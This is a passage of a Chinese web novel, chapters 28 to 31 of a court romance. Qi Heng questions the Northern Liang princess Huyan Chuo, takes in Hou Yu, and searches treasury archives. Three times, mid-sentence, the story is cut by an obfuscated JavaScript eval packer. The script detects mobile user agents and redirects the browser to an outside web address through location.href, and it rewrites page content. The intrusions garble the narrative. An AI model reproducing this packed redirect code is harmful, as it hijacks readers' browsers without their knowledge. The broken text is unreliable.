戚姮一手端着刚带回来的冰酪,翻阅着花名册迅速交代,生怕它化了:“侍从一个,跟着上下朝。别的也用不上,就这样吧,到时候缺的话再调。” 管家的张妈妈应了是,拿着圈好名字的册子出去安排了。 呼延绰与她擦肩而过,正要迈步进来。 这个天卖冰酪的实在太少,戚姮差人寻了好久才在犄角旮旯翻出来,她看着手中的瓷碗两眼放光,坐下拿起勺子开吃。 呼延绰双手一拍桌子,跑得急匆匆地:“这几天你去哪里了?我给你带了好吃的,但你一直不回来,我就吃完了。” “我蹲大牢去了。” 戚姮终于是见着这小公主了,大体瞧一眼,她过得是挺滋润,都长胖了不少:“去把门关上,我有话跟你说。” “哦好。” 呼延绰左右看来看去,确定没人后才转身回去,边走边说:“为什么会蹲大牢?你犯错了吗?” 戚姮:“有小人害我。” “还有那边的屋子,有人要住进来了吗?”呼延绰继续问,“他是不是不想来,然后你硬把他驯服了呀?我刚刚看见他一直坐在床上不动,好像是生气了。” 这话怎么听着像土匪强占良家子还强迫人家似的。 戚姮摆手:“让他静静,过会就好了。” “噢。” 戚姮问:“知道我叫你来是因为什么吗?” 呼延绰一板一眼思索道:“是不是你想我了?我都想你了。” “……”戚姮咳嗽了两声,“还有,还有别的。” “还有……?”呼延绰实诚摇头,“猜不到了。” 戚姮也不废话,从袖中掏出信件,摊开在桌面,指着它道:“我的人说,军队快回到开封的时候,你被军医查出了怀有三个月的身孕。” 呼延绰呆呆的表情并未出现任何变化,等着戚姮说完。 “当时负责照顾你的何指挥军选择隐瞒,并未上报给我,也没有做主拿掉你的孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531477|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是说,你现在还是有孕在身。” 戚姮垂眼看向她的小腹:“原本我以为你是喜欢我爹。可现在我就有点想不明白了,既然怀着孕,为什么还要三番两次潜进我爹的房中。” “我不反对你想生孩子,但你要是想给我生个弟弟妹妹,就未免有点太拿我家当冤大头了。” 她眨了眨眼,戚姮也眨了眨眼,两个人面对面着眨眼,疑惑着想问她要个说法。 “孩子早就被我堕掉了,我现在没有怀孕。”呼延绰起身,拍了拍肚子,“你看,不然早就显怀了。” 戚姮难以想象:“你自己堕的?” “当然,我会医。”呼延绰道,“况且我都不知道那孩子的爹是谁,万一是我哥哥的……不行不行,还好是流了。” 戚姮捂着嘴,无比骇然:“你?呼延达旦?” 他们不是兄妹吗? 呼延绰面色如常,将事情娓娓道来:“我很早之前就不愿意留在北凉了,正好我哥哥打仗需要女人,在行军途中去拉拢各方将领。我就找上了他,等着挑个好时机,在离中原最近的时候逃跑。” “他有时喝醉了,不记得我是谁。说了也不听,所以就。”呼延绰耸肩,“反正跑出来了,他也死了,我还挺高兴的。” 戚姮愣愣地咬着勺子,信息量太大,有点缓不过来。 “那……那你潜进我爹的房间是?” “他长得有点像我救下的中原男人。” 呼延绰双手托着腮:“平常不像,可一到晚上看不清五官的时候,轮廓特别像。十五岁的时候我跟他拜了天地,说好一起跑,突发战乱,又冲散了。” “我找不到他,有时候又想他。回来后想嫁给定远侯,这样就能日日看着了。没成。前几天,我又想他了,就想跑去偷偷看几眼。” 呼延绰说着还极其惋惜:“但是侯爷太敏锐了,我刚翻进去他就醒了!” 戚姮:“你不是说什么不能改嫁,父死子继……” 呼延绰“嘿嘿”一笑:“我骗你的,我压根不守那个。但要是不说,你肯定把我送给皇帝了。” 戚姮:“……” “你要是不信可以喊郎中来,我现在绝对没有怀孕。” “怀没怀……都没事。”戚姮神色复杂地摆手,重点本就不在这,是动机。 这公主说话有一种魔力,能让戚姮疑心病这么重的人都轻易放下了戒心,从来没有怀疑过她话的真假。 即便被骗过一次,戚姮依旧下意识选择相信她的话。 提起她的初恋,呼延绰兴奋极了:“陈绪真的没有骗我,这里比北凉好玩多了。在家我还要打猎,喂羊,在这里睡觉就行。” “你不是说你不会武吗?”戚姮扶额,“又是骗我的。” 呼延绰:“嘿嘿。” 怪不得捡到她时是现场唯一的活物。 怪不得一点也不恨杀害她哥哥的“罪魁祸首”。 原来一切都是有迹可循。 “你的名声很响,我在营中就听说了,哥哥说,对面燕军有个副官是女人,权力很大。跟别的将士不同,既不屠城,也不杀俘虏。要么收编,要么送去为奴,只有不肯降的才会杀。” “我就想,只要我不害人,你肯定会收留我,当个丫鬟也行。所以我一直在等你清扫战场,等你带我回中原。” 戚姮吃完碗中最后一口冰酪,轻轻放下勺子,笑了声:“真是……被你给摆了一道。” 从前还是太小瞧了这位公主。 敏锐度够高,虽脑回路简单,但能精准捕捉善恶敌我的关键。 作为北凉王室几十位皇子公主其中并不突出的一个,成功从草原脱身挤进汴京,机会有多渺茫不说,存活下来都是个难题。 她不仅住下了,还住的安逸自在,绝不是运气问题,就是敏锐。 那她不愿意去皇宫的原因找到了,清楚去哪都不如侯府,衣食无忧,潇洒自在。 戚姮突然就想试试她:“如果,所有人都对一个人不好。娘早逝,爹不疼。不仅不疼,还让他哥哥打他,拿刀捅他。” “身边也没有朋友,寥寥认识的几个,还都逼他做他不喜欢的事。总之,要多惨有多惨。” “突然有另一个人救了他,给他家,还带他去报仇。要多贴心就多贴心。” 戚姮问:“如果这个人和另一个人立场不同,但也没有特别大的矛盾,你觉得这个人接下来会做什么。” 呼延绰在脑中捋清楚,摸了摸下巴,道:“我们那养死士就是这样。从受了极大苦难的小孩子中挑选,好好培养,日日洗脑。他就会死心塌地,一般很成功。” “所以我觉得这个人会叛变,跟我一样。中原人对我好,我就喜欢这。” 戚姮给自己倒了杯茶,放在唇边,掩去大半神情:“行了,回去玩吧。” 29. 翻身上位【九】 赫连般若到底从哪找起。 戚姮从御书房出来,仰头望天,天还不好,阴沉的像要下雨。 平地起了阵风,几片叶子砸到脸上,心情更差了。 “世子,您让送去国公府的礼天亮就抬过去了,国公爷除了脸有点黑,东西还是收了。” 张妈妈跟在回府的戚姮身后汇报着情况:“国公爷说,择日会把解公子的那份陪送备好。他怎么都是秦国公府的人,要您好生对他。” 戚姮哼笑:“还安排起我来了。” “国公爷还说……说您不要往府上牵一堆乱七八糟的人,否则要告到御前,跟您没完。” “……”戚姮停下脚步,表情很不爽,“让他去告,我倒要看看官家向着谁。” 刚走两步,戚姮越想越气:“你告诉他,我想牵几个牵几个,过几天我就往家牵!老不要脸的管我房中事。” “真的是……”戚姮转身,瞥见站在走廊转角一闪而过的身影,挥退了张妈妈,叉着腰走过去。 戚姮提前抬脚挡住后煜想跑的动作,他又老老实实蹲回去了。 “躲这干吗。” “今早上睡过了,没去上朝。想问一句我的公服在哪,她们都在忙自己的,我没敢问……”后煜仰起脸,“反正睡过了,我就想等你回来,你肯定知道。” “官家听说你受伤,多批了几天假,急什么。”戚姮向四周扫视一圈,“既然想等我,怎么看见我又跑。” 他抱着腿,下巴搁在膝盖上:“我爹刚惹了你,你说过几天就往家牵新人……我就不招你烦了。” 这模样看着更可怜了。 “我说的那是气话。” 戚姮神情一松,勾了勾手,后煜立马站了起来,她上去就揽住了这家伙的脖子:“你爹收了媒人带去的礼,这事也就成了,以后就不用想他们那些破事了。走,吃饭去。” 大雨还是泼下来了,噼啪作响。 上一次下雨还在互相试探着打架,这才不到半个月,恍如隔世。 “今早官家让我无论如何都必须把赫连般若逮出来,尽快结案。说这案子对我影响很大,猜到我可能会搞砸,没想到这么糟糕。” 戚姮戳着米饭,一个劲叹气:“这也不是我想搞砸的啊……入朝做官怎么这么麻烦?水怎么这么深?我趟一次溺一次,真想不干了。” 戚砚道:“这才一个多月就想着辞官了,很有我当年的风范。” “……” 好像没什么值得骄傲的吧。 “我也没想到官场是这样的,所有人都欺负我一个,被针对的感觉真难受。” 她偏过脑袋,用唇形对后煜说:连你也是。 后煜正埋头吃饭,措不及防被波及,呆呆地抬起头,他笑得尴尬,抱着空碗就跑了。 戚砚目送后煜的背影离开,朝戚姮“噗嘶噗嘶”,示意她看过来,才低声问:“草儿,国公府不给小解饭吃吗?我一整天都吃不了他一顿那么多,怎么饿成这样?” “没给啊。”戚姮凑去,“要是给了,我还至于去他家闹?” “……”戚砚大为震撼,“那么大个府,连饭都不给吃?” “解修竹还能是什么好人吗?你忘了,你说你小时候想去他家蹭饭,结果连门都没进去。” “哦对对,他从小就这样,抠得要死。但我没想到连亲儿子也不给啊?” 两个脑袋凑在一起,从头到脚谴责了一番隔壁秦国公,戚砚忽然“诶”了一声,像是想起了什么事似的,问:“他家有几个男孩?” 戚姮比划:“俩。他是老二。” “多大了?” “二十一。” 戚砚盘算着,又“诶”了声:“他是不是在外头住过。” 戚姮惊诧不已:“你怎么知道。” 戚砚刚要出声,余光瞥到后煜抱着碗回来了,他连忙坐直,佯装没有讲过任何小话的样子,默默把面前的盘子换了个位置:“吃这个吧。” 后煜被这突如其来的关心整的有点手足无措,光坐下一个动作差点鞠三次躬:“……谢谢。” 戚砚扶额:“不用这般拘谨。” “我得出门一趟,可能三五个月回不来,可能再也回不来了。” 戚姮宣布:“官家说,找不到赫连般若,我就给他滚出汴京。” “……” 屋里静了一瞬。 “那你有调查方向吗?”戚砚道,“实在不行,我就喊我道上的弟兄,把那天出城的所有人都抓起来。” “当然有,咱们不能这么残暴。” 戚姮说:“管它对不对,肯定比待在家里强,我去碰碰运气。大不了找不到就滚呗,跑北边镇边关去,比跟这群人精玩心眼子强多了。不亏。” 戚姮在牢里的七天将整个事件反复顺了许多遍,又在后煜坦白后添上了条件,解释不通的地方也变得合情合理。 只剩曼文最后说的两句话,实在太过于突兀,以至于戚姮一开始都没反应过来。 静下心来想想,那两句话都像在隐秘地暗示。 曼文是个聪明人,也是个有私心的母亲。可能她做不到再次把赫连般若推出去,也不想对不起帮过她的戚姮。这个素来拧巴的女人便折了个中,对着戚姮暗示了赫连般若的逃跑路线。 能不能找到就是各自的命了。 曼文从未做过伪证,李在溪盘问出来的口供字据戚姮看了,全是事实,没有半分添油加醋。 这便是审讯的正常流程,证明了她的确只是个明哲保身的普通女人。 说的话也有一定参考价值。 “我咋整?”戚砚问,“我也要跟你一起滚?” “也行。带几个熟悉的仆从走,再带些喜欢的东西,然后……”戚姮扭头,“你留这看家。” 后煜:“……” · 平江府还真有个裴氏。 艾憬送来的信里简单概述道:三十年前平江府吴县有位县令名叫裴岭,二十五岁中三甲进士,得县令一职,四十二岁被抄家问斩。 虽未波及家人,但名下三子两女不知所踪,具体名讳不详。 戚姮盘腿坐在桌前,洗漱后已经干了大半的发丝平铺在后背,瞧着这么简短的几句话,大概串出了曼文的故事。 她曾经是个琵琶女,多半是被抄家后流入了教坊司,隐姓埋名,故意藏锋,故而没人知道她认字识礼。 这也能解释她那身藏不住的儒雅书卷气是从何而来。 如果曼文真的是在暗示,平江府应该还有她的亲戚,能帮忙收留赫连般若,总比一个小姑娘自己在外面流浪强。 戚姮撑着侧脸发呆,忽觉一道视线落在身上,转头看向窗外,恰好和后煜四目相对。 这小子跟做贼似的扒在窗户边偷看,被发现了还躲,没躲一会又把头探出来了。 “你做什么?”戚姮好整以暇,“都成亲了还搞偷窥这出?” 后煜“啪”一声关上了窗。 他接着从正门跑进来,戚姮收起信,下一瞬,后煜来到了面前:“你真的要走吗?” “人跑了就得抓回来,抓不回来就得接受处罚,当然有可能会走啊。” 后煜面上更失落了。 戚姮瞧着他这样,反问:“你是舍不得我呢,还是不想守活寡在这看家呢。” “……” 后煜眼神飘忽支支吾吾,不好意思直说,逃避了那个话题,小心翼翼道:“你是在躲我吗。我一来,你就要走。” 他顿了顿:“我不找你,你也不来看我。这三天我都没见过你几面,离开汴京你也不想带我……” “我知道你并不太在乎我,我也不想要别的。”后煜垂下脑袋,“只是,能不能,不要扔了我。” 白日里随口一说的玩笑被他当了真,吓得也不扭捏了,也不瞎猜了,跑来直接问。戚姮都不知道该笑还是该哭,临开口前,没忍住笑出声。 “你咋这么实诚?” 戚姮迎着他呆滞的视线,耐心解释:“那就是随便开个玩笑,陛下怎么可能让我滚。不去找你也是因为这几天忙,咱们这个年纪,还是要工作为先。” 后煜犹疑片刻:“……真的?” “保真。” 他的表情终于松了些。 “这个,是我绣的。”后煜从怀中拿出了个淡粉色的香囊,双手递到戚姮面前,他还有些不好意思,“你要吗。” 戚姮挑眉:“呦,你还会这个呢。” 这香囊有些华丽,珍珠串了不少,还有一左一右两条流苏,平安结挂青色宝珠。玉兰花绣的生动,极好辨认。 戚姮拿在手里,抬眼笑问:“你不是受伤了?这又是哪年绣的,就等着来日送娘子吧。” 后煜攥紧了膝盖处的布料,话越说越小声:“趁着手不疼的时候绣的,给你绣的。” 再逗他估计都要羞得落荒而逃了,戚姮端详着香囊,针脚细腻精致,是有技术在身的。越看越有点眼熟,一时间也想不起来。 戚姮说:“我也有个东西送你,你要吗。” 后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后煜眼下一动。 晾干了墨水,原有的字迹已经彻底糊到看不清内容。明日拿去交由户部录入,不用多久所有文件便能一抹全都更改。 戚姮放下笔,语气极其温和,为她镀了层柔光:“今后你是解语,往事就让它逐水流,随风去。人生三万天,不要被一时所绊,困余下半辈子。” 后煜抬手遮住了半边脸,掩住异常,颤抖的音线却把他给出卖了:“……最开始我的名,是老师给我取的。” 后秋不姓后,那是被赐的姓,却只能姓后,她父母都没有自己的姓,落在了主家,就要随主。 这份施舍就像府尹对她许诺很快就能做秦小公爷的妾时一样傲慢。 你有什么不乐意的? 孩子出生那年,解修竹叫人带回去看过一眼,后秋本以为自己终于熬出了头,晚上,襁褓怎么送去的就怎么回来的。 这个孩子没被承认,或许是他夫人不愿,或许是他不愿。 总之,没成。 解修竹说好了只要孩子,生下来就放她走,却在生下来以后突然反悔,给弃了。丢给后秋,又困着不许她走。 “我娘不喜欢我,从没跟我说过一句话,自然,我是没有名字的。” 后煜一动不动地盯着这纸条,喃喃自语:“别说名字,连正经户籍都没有,都不算个人。” “但老师来的第一天就变了,他说他给我取名,为我上户籍。” 戚姮搭着桌沿,注视着后煜,安静等他讲完。 艾憬口中“书生打扮的男人”,看来说的不是解修竹,是他口中的老师。 “老师是国公府派来的人,却问我想姓什么。”后煜扯出了个笑,“他也觉得我爹不是个东西。” “但我当时也不知道我娘叫什么,她也死了,我就只有老师了,我想跟老师一个姓。” “可他说他的姓也是假的,就跑去四处打听我娘,让我姓了后。取煜字,寓意来路光明璀璨。” “他说我的福气还在后头,眼下根本算不得事。” 后煜说着,又无声地落下来眼泪,从颊边滑到下巴,滴进地里。 他放下了手,任由难堪的一面展现在戚姮面前:“你很像他,一开始我只觉得你长得像他。现在发现,并不止。” 戚姮听得专注,不知不觉流露的感情已然压过了她想要理性处理这件事的情绪。 微压的眉心,紧绷的唇角,后煜在一扫而过她眸中的疼惜时,不敢相信这居然是真的。 他好不容易才垒好的心理防线瞬间土崩瓦解,背过脸撑着桌子,藏住了狼狈,脊背渐渐弯下:“我……我没想到还会有第二个人会对我这么好。” 前二十一年的飘忽不定突然在今天,在这一刻找到了落脚点。 如漂泊孤舟靠岸,如落叶坠地归根。 30. 翻身上位【十】 第一缕晨光打在脸上,戚姮眼皮微动了两下,混沌的意识渐渐回笼,她猛地睁开了眼。 都出太阳了,忘上朝了。 昨晚上后煜一直哭,戚姮总不能在他难过的时候踹他回自己院子,就一直哄。哄到后半夜他才慢慢平息下来,又赖着不肯走,酿酿酱酱地躺回榻上,等到能合眼睡觉早就不知哪个时辰了。 往日戚姮的作息都是寅时起,不用任何人来催促,谁知被这习惯给害了,一觉睡到现在居然也没有个人来喊一声…… 戚姮四肢僵硬,好像瘫在床上了一般,只抬起头扫视四周一圈,又砸回枕头上。 迟到就迟到吧,今天不去了。 她睡觉板正,睡前怎么躺的睡醒还是什么样。 后煜就不同了。戚姮垂下眼睫,看着他的脑袋倚在自个儿胸口,整个人贴了过来,微微蜷缩在她的怀中,双手一个不落地抱住了她的脖颈。 他睡得正香,也没压下来多少力气,戚姮活动了一下肩周,不算太累。 “赫连般若往江南去了。曼文是个家道中落的县令小姐,姓裴。当年清肃楼兰案,波及全国各地,裴氏便是其中之一。” “裴县令任职时心善,施粥赈灾,清廉自守,一朝获罪有许多百姓替他不平。在那只要说自己是裴氏的人,自会有人家肯收留她。” 昨晚也算有收获,后煜临睡前还没忘把这些坦白,戚姮的猜测直接被映证成了真,也不用她再思考真真假假,喊人顺着摸过去,简单了太多。 她一直等着后煜能直接把幕后黑手说出来,他却一直闭嘴不言。 倒也能想通,尘埃落定之前,一切皆有变数。他不说,两边无论谁赢了都能继续混。说了,就是站队戚姮,被他背后的人日后清算麻烦极了。 可能是感化的还不够深吧,后煜这种墙头草,很难真正扎根。 戚姮先将那些抛到脑后,好不容易有了时间,应该解决点别的事才对。 一直到日上三竿戚姮才等到他睡醒,后煜的脑袋蹭了半天,迷迷糊糊仰起脸看过来,依他以前的性格发现这个时候抱在一块早该手忙脚乱弹开了。 可这会儿他就是一直看着戚姮,这张刚睡醒也如美玉的脸近在咫尺,怎么也看不够,他又缓缓靠了回去。 戚姮的手绕进他发中,揪着问:“还不起?” 后煜默了片刻:“我想和你多待一会。” 戚姮讶异于他会这么说,忍不住笑了声:“又不是见不到了,起来,一堆事呢。” 后煜稀里糊涂就被薅起来了。 他坐在榻上,呆呆地看着戚姮忙来忙去,梳洗打扮,手拿前些年还很喜欢的衣裳,一直在对着镜子嘟囔:“回来以后忘了让人重制新衣,从前的旧衣全都小了……” 她挑了相对还算合适的一件浅蓝色纱裙,将昨天后煜送来的香囊挂在腰间,一边穿鞋一边对着他安排:“这几天家里可能有客人,到时候你就待在碧水云庭别出来。要是手不太疼了就可以回去算账了,最近好像也挺忙的,太府寺人手不太够。” “嗯?”后煜疑惑道,“为什么我不能出来?” 戚姮模糊不答:“就是……额,总之你别出来。” 她越是这样后煜越是怀疑,戚姮掉头就跑,合上门前还探个脑袋又嘱咐了一边:“不许出来,听见了没。” 后煜点了点头,等戚姮离开立马穿好衣裳跟了上去。 他离得远远地,躲在各个犄角旮旯偷窥了大半天。一直到下午,戚姮在前院和管家张妈妈罗列起了礼单账目,他才后知后觉意识到戚姮是在干什么。 “你是在偷听侯府机密吗?” 身后响起一道女声,吓得后煜一个激灵,转身贴上了墙。 “不是。”后煜只以为她是府中什么侍女,矢口否认,“我就随便逛逛。” 呼延绰一脸狐疑地看着他:“鬼鬼祟祟的,我看你半天了。” 后煜理不直气也壮:“你是哪位,你干吗看我。” 呼延绰很是理直气壮:“我要守卫府里安全,这是世子交给我的工作。” 后煜打量了一番呼延绰,她的确穿的比一般女使要好,是自己的常服。 仅仅三言两语,他瞬间有了思量:“我怎么没见过你?行径还这般可疑,看起来更不像什么好人吧。” 呼延绰反驳:“我可见过你,更何况,我比你来得早,一直在府里做守卫。你凭什么说我不是好人?” “来得早又不代表能得世子信任。”后煜环住隔壁,很是不屑,“我知道她在干吗,有什么好偷听的,就是来转转。倒是你,你知道吗?她告诉你了吗?没告诉你你还来,那就是有鬼。” “我当然知道!”呼延绰被他激得一股脑全抖搂出口了,“她在挑男人,要结婚。这有什么不知道的?” “……” 后煜闭了闭眼,再开口颇有些咬牙切齿的意味:“明眼人都能看出来她在准备这些,你说,她在挑谁家的公子?要具体点哦,这些都是内情,只有最亲近的人才能知道,我好确认你不是坏人。” “世子连花名册都给我看了,是观文殿大学士的嫡次孙和金紫光禄大夫家的老四。” 呼延绰没有意识到半分不对劲,说完还挺得意:“她什么都跟我说,别人想看都没得看。不可能有人比得过我。” 当官的都注重名声,没有正妻前家中先有妾并不合礼数,极容易被政敌捏住把柄大作花天酒地不务正业的文章。 难怪戚姮还要特意嘱咐一遍不让他露面…… 后煜憋着股闷气,冲还在翘辫子的呼延绰浇下一盆冷水:“当然。这些她没跟我说过,我骗你的,你现在都告诉我了,这是大错。要是让世子知道了……你懂得。” “…………” 呼延绰的表情僵在脸上,一时间呆愣在原地,不可置信地看向后煜:“你你你!” 后煜达到目的,也不跟她废话,转头就走。 只剩呼延绰在风中凌乱。 后煜没有立场阻止戚姮成婚,当初来侯府前就说好了她有定下的人选,他反倒才是横插一脚的那个人。 理智上虽这么说,可真要让别人进门…… 后煜咬住袖子,恨得牙痒痒。 观文殿大学士家的孙子名苏涧,如今在朝中任职殿中侍御史,不算高,但仅仅二十出头就考中三甲进士,可称得上一句前途无量。 族中世代文官清流,祖父还曾任职过宰相,如今退居观文殿,也是极受人敬重的存在。 文人入了武将家,听起来确实很相配。 后煜思来想去,自己除了捡个漏,官职比他高,其他方面真是哪哪都比不上。 · 时隔五天,后煜终于踏进了太府寺。 “府卿!”他才刚走两步,立马被胥史小黄给叫住,“府卿您终于回来了!这是……北凉为谈和所赠的金银绢帛清单,昨下午正好刚刚核对清楚。您签个字就可以入库了。” 后煜随意翻了两页,拿在手里准备带走:“行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531479|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他又走了几步,声音再次响起。 “府卿!宰相和执政就近日东南水患一事商议着减免赋税,开仓放粮。刚派人来问府卿的意思,要下官一同禀回去。” “左藏库的米粮运去东南时间太长,先从附近府库拨粮,停掉目前不必要的开支……把东西给我。”后煜抽走了小张手中的折子,吩咐道,“我回去拟个案,下午你来拿。” 后煜边走边翻看上报的水患材料,身后“府卿”声不断,他安排到最后彻底连耐心都快磨没了,人却还没走到值房。 “直接给我吧。” 后煜打断了底下人的汇报,道:“谁还有准备过目签字的账本全都……” 他话还没说完,四面八方涌来的胥佐一拥而上,纷纷将手中的东西一层一层叠到他怀中。 “这个!”“府卿辛苦了。”“还有我这个。”“…” 瞬间就摞到了与他眉目齐平的高度。 仅仅也只是五天没有处理而已,后煜麻木不仁地抱着堆成了山的文件向公廨方向挪动。 “江南盐钞最后一批次已经到了,昨晚我把上一批出现的错漏刚填补完,官家已经不甚满意了。这次让他们先放放手底下的东西,认真核销,不要再出这么低级的错误。别的放那我来处理,最后再把列好的每一笔账目都给我看一遍,不要为了赶工就交去户部应付。户部心情好了还管一下,心情不好出了岔子,最先被追责的就是第一手经办人。” 后煜踢开门,平淡的嗓音根本听不出喜怒哀乐,事无巨细地安排好以后侧身放下账本,高处的几个“哗啦啦”地向下滑落。 视线没了遮挡后他才看见自己的椅子上坐了人。 “……” 戚姮正拿着笔斜眼向上瞧他,她的身侧正歪七扭八站着几个府吏,看样子刚刚像是在说笑。 四目相对,后煜也忘了问她怎么会在这,嗓音瞬间变了:“你……你怎么来了。” 戚姮身后的几人互相对视一眼,簇拥着齐齐向外离开,还不忘贴心地带上门,给他留出安静的独处空间。 “我刚下朝,顺道就过来了。”戚姮歪身捡起地上掉落的账本,重新给他放在桌上,“我找你有点事。” 后煜向周围环视一圈,确认没人才绕去戚姮身边:“什么呀?” 戚姮起身,伸手从后煜的领口滑向他的后颈,瞬间拉进了二人距离,道:“我想进太府寺的档案存放处找几件东西,但刚听人说,只有你有钥匙。” 公服还穿在身上,戚姮便这般明目张胆地抱了过来,仰起头,暧昧地用鼻尖蹭着他的嘴唇:“你能给我档案处的钥匙吗。” 面颊升起的燥热越来越强烈,后煜偏头,跑去柜边,从腰上随身带的小布袋里翻出了个更小的钥匙,打开抽屉的锁,从里面拿出了戚姮想要的东西。 “这个……就是。”后煜塞给她,“档案处在西南边最大的那间屋子。” 戚姮握着钥匙,也没想到这么简单:“这么爽快?这些可都是你负责的,你不怕我搞出什么幺蛾子?” “没事。”后煜摇头,“你闹出事了我也可以摆平,这里是我掌管的地方,我做主。” “可以啊。”戚姮笑了声,捧起他的脸揉了又揉,“难得这么硬气,继续保持。” 她直接凑上去亲了一口,拿着钥匙冲他摆手:“我先走了,晚上回家给你做好吃的。” 戚姮一溜烟跑不见了影,只剩后煜抚上嘴唇,站在原地感受了许久残存的余温。 31. 翻身上位【十一】 戚姮一路走在阴暗之中,未引起任何人的注意,拿着钥匙偷溜进了档案处。 她轻轻合上门,屋内阳光鲜少,颇有些昏暗阴冷。 存放文件的柜上在每层每列都刻有年月编号,戚姮直奔着目标而去,数着日子找到清平二年九月,先帝赵轻絮所使用的年号,还费了她一番功夫。 她借着微弱的一丝日光,半伏在窗缝边认真地看过信上每一个字。这份文件足足有九页纸,密密麻麻记载了那年那月,朝廷面对西南流民时所采取的赈灾支出明细。 纸张因为年份悠久已经泛黄,字迹却依旧清晰可见,只是房间太暗,并不太好读。 戚姮仔仔细细从头到尾,将每个数目记在脑中,才收好东西放了回去。 “反正都来太府寺了……” 她这么想着,开始在房中寻找贞和十年五月。 在拿错了三次之后,戚姮再度对上光,阅读了个开头,确定要找的就是这篇。 关于前太府寺卿李拭镜畏罪自杀案的旧账,也就是明确他有蹊跷的关键性证据,最终定性,便是依照的此账目。 她在这如火如荼地记起了旧账,后煜在另一边处理着积压五天的公文,左手刚受了伤的缘故,完全不能使上任何力气,甚至连简单地翻页都做不到。 一手批注,一手翻页,还是一手拨算盘,比从前的速度慢了太多,倒是让他的耐心大幅度练出来了。 后煜用了两个时辰才将堆积如山的文件整理完毕,反手拿着执政差人送来册子去了左藏库。同手下问清了如今的现钱与米粮储备情况,伏在案边细细拟起了应对东南水患的具体措施。 北凉在大败燕军之后便起了求和之意,使君这几日刚刚踏入汴京,带来的朝贡绢帛与战马都是一笔不小的数目。 后煜把人都赶去核算最后一批江南盐税,这些最基础的清查工作就落在了自己头上。 “府卿,今日领俸禄的大人已经来了。”小徐站在后煜身侧禀报着,“前几日忙碌得很,暂停了发放。许多大人要排队已经排的有些靠后了。现在清闲,要不要下官今下午一并清算完成,省得再拖下去了。” “来的是谁?把他的凭证拿过来。” “是苏涧苏大人。”小徐留下这么一句,立马跑出去请人进来了。 “……” 后煜缓缓抬起头,皱着眉,奇怪地看向门口。 苏涧只觉得这次拿工资莫名围绕了些许杀气,他忍不住向四周张望,又找不到这种感觉从何而来。 “苏大人年庚二十有三了吧。” 从前后煜是个压根不吭声的人,无论谁来了都得站在这等着他算完,跟他对话他也是看心情回。 偏偏后煜掌管着全国大半财政,实权在握,想在谁的俸禄中做手脚也是轻而易举的事。即便他态度差也没人会在他面前摆谱,久而久之,只是没人会跟他搭话了。 冷不丁冒出这么一句话还搞得苏涧有些措手不及,下意识就顺着他说:“嗯?是。” “可曾娶亲?” 苏涧更懵圈了:“前些年专注学业,并未把心思放在成家上。自然,不曾婚配。” “啊……”后煜让人数出三十五贯钱来,交给了苏涧带来的手下,又道:“那要是我想请苏大人来吃杯喜酒,苏大人应当不介意吧?” “不介意不介意……总不能因为在下迟迟不成亲,连带着不许别人办喜事。” 后煜盖好印章,将凭证收进册中:“估计很快了,也就三五个月。等那日,我亲自送去请帖。” 苏涧真跟见鬼了似的:“多,多谢解大人挂念了。” 后煜硬扯出个假笑:“到时候我就在侯府等着苏大人。” “……”苏涧的表情僵在脸上,“什么府?” “定远侯府。”后煜说,“就在国公府对面,苏大人你应该知道吧?只隔着一条巷子。” “……已经定了?” “是啊。”后煜佯装看不懂他的反应,一本正经道,“我与未婚妻,青梅竹马,两小无猜。好不容易等到她从战场回来,就不想再拖下去了。婚礼也想办的越热闹越好,我就负责招呼些人。” 苏涧抿了抿唇,眼见俸禄已经到手,当下就找了个理由匆匆告辞。 后煜看着他的背影,翻了个白眼:“老黄瓜还想装嫩的卖……” “府卿,你要成婚了?”小徐凑过来,八卦道,“上午戚大人果然是来找你的。” 后煜难得心情不错,跟小徐搭了句话:“戚姮走了吗?” “好像是已经离开有半个多时辰了。” “她不找我,总不可能是找姓苏的。” 后煜的心情又落下去了,整理好桌上杂乱的资料,他捡起垫在最底下的厚本,翻看了两眼,拿在小徐眼前问:“这不是户部的东西吗?” “啊,是这样。左曹郎中近些日子也告病假了,他的职务暂时找不出人来顶替,但从前,只要是他告假就会将公文送来这里……” “转告户部,解烺这废物要是做不了就回家带孩子,三天两头迟到早退旷工。他要死吗。” 后煜甩手扔了这一沓赋税征收明细表单:“我才是长官,再敢送来我这可以试试。我一把火全烧了,叫他们自己去跟官家解释。” 小徐站在一边惊呆了。 · 太府寺外被一条河所包围,位置相对偏僻,依山傍柳,曲径通幽。 戚姮在河边踢出石子,挑了几个圆润光滑的,向外掷了出去。石子拍在水面又弹起,十来个水漂飞溅,跳不动了才沉底。 她至今还没有真的去枢密院对接业务,这也是赵繁英安排好的一环。戚砚手下有负责军营整纪训练的板块,压身的职务太多,正一点点着手要将东西教与戚姮,分出来一半的。 实际兵权、中枢决策权还是掌握在真正的枢密使手中。 权力收走,戚姮就是挂个名放那当摆设,真正的主场还是要落到军队,参与招兵训卒去。 